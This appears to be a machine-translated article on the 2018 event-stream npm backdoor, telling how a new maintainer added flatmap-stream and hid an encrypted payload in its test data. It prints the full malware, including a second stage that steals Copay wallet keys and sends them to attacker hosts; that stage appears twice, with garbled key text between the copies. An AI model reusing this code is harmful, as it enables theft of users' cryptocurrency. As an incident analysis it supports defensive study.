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The backdoor in one of the dependencies of the EventStream library



More than 1.9 million copies of the EventStream library are downloaded weekly from the NPM repository. It is used in many large projects for simple and convenient work with threads in Node.JS. Among others, this library handles streams in the popular Copay cryptograph (however, more on that later).

November 21, 2018 a strange thing happened. The github user @FallingSnow reported that in one of the event-stream dependencies, a malicious code is hidden, which actually represents a backdoor of unknown functionality.
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Users began to understand where this malicious code came from. This is a very interesting and instructive story. Unfortunately, it can have long-term consequences for many open-source projects.

So, the investigation began. Thanks to the history of commits on GitHub, it immediately became clear that the malicious commit was made by another user @ right9ctrl , who was granted the rights of the maintainer for the event-stream. On his account a number of normal commits, and the author of the project Dominic Carr ( @dominictarr ) gave him the rights of a maintainer.

Why did the author pass on the rights of the maintainer to a complete stranger? Dominic himself says that he is engaged in a project. See the detailed justification for this incident: the author writes that he created the project for the sake of pleasure and did not think that his support would take so much time, and the library itself would be involved in so many serious programs. He does not relieve himself of the blame for the incident, but says that the open-source project is not its "property", it is in the public domain, so everyone else is also responsible for what happened. In the end, why did none of the normal people take over the rights of the maintainer and not engage in the audit of commits?

Let's return to the mentioned @ right9ctrl commit. The trick is that he did not bring the backdoor code directly into the event-stream library, but only implemented the dependency on another flatmap-stream package. Already in it, under the guise of a test dataset (test / data.js) in one of the variables passed a malicious code of the following content:

Backdoor
 // var r = require, t = process; // function e(r) { // return Buffer.from(r, "hex").toString() // } function decode(data) { return Buffer.from(data, "hex").toString() } // var n = r(e("2e2f746573742f64617461")), // var n = require(decode("2e2f746573742f64617461")) // var n = require('./test/data') var n = ["","db","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"] // o = t[e(n[3])][e(n[4])]; // npm_package_description = process[decode(n[3])][decode(n[4])]; // npm_package_description = process['env']['npm_package_description']; npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key) // if (!o) return; if (!npm_package_description) return; // var u = r(e(n[2]))[e(n[6])](e(n[5]), o), // var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description), var decipher = require('crypto')['createDecipher']('aes256', npm_package_description), // a = u.update(n[0], e(n[8]), e(n[9])); // decoded = decipher.update(n[0], e(n[8]), e(n[9])); decoded = decipher.update(n[0], 'hex', 'utf8'); console.log(n); // IDK why this is here... // a += u.final(e(n[9])); decoded += decipher.final('utf8'); // var f = new module.constructor; var newModule = new module.constructor; /**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/ // f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) // newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1]) // newModule.paths = module.paths // newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename) // newModule.exports(n[1])

After “decoding” of the variable n picture becomes clearer .

Initial download
 /*@@*/ module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} };

Second stage
 /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); \\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \\ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ n2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / cJ / x76To \\ n2wIDAQAB \ /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }();

After deobfuscation, the backdoor functionality became clear . It turned out that it successfully works only if there is a Copay cryptograph in the system ( copay-dash package). In this case, it copies the users' private wallets and sends them to IP addresses in Malaysia.

The developers of Copay conducted an investigation and found out that the backdoor got depending on the wallet versions from 5.0.2 to 5.1.0, that is, to the latest version. On November 27, 2018, they promptly released an updated version 5.2.0.

The attacker @ right9ctrl not only added a backdoor, but also tried to cover his tracks. Three days later, he deleted the malicious code from the flatmap-stream repository, updated the version number, and deleted the old one from NPM. Thus, there is no backdoor in the latest version of the package, but it has already sold out to tens of thousands of machines, which was the goal. This method was very successful, judging by the fact that the backdoor was not immediately discovered.

It is still unknown how much money the attacker managed to earn, but this attack demonstrates the fundamental effectiveness of the method of introducing backdoors into open-source projects. Obviously, this is not the last such case. Dominic Carr, the author of the affected library of EventStream, writes about this: “There will probably be many other modules in your dependency trees, which now become a burden for their authors” - and these “burdensome” modules can be transferred to the management of other mainteners, as happened in this case, or even sold for money. Since dependencies are implemented in hundreds and thousands of programs, some of the smallest modules can become a source of major problems.

Why the author of the program transfers control over it to a complete stranger?

“If it is no longer enjoyable, then you literally get nothing from the support of the popular package,” says Dominic Karr. “So now we are in a strange valley, where you have a lot of dependencies that are supported by those who have lost interest or even started to burn out, and who no longer use them .” You can easily share the code, but no one wants to share responsibility for maintaining this code. Just as a module looks like part of a digital property, a right that can be transferred, but you do not get any benefit from its ownership, such as the ability to sell it or rent it, but you still retain responsibility. ”

What is the way out for the users of free software? Or pay the author, or take an active part in the project, says Carr.


Source: https://habr.com/ru/post/431204/

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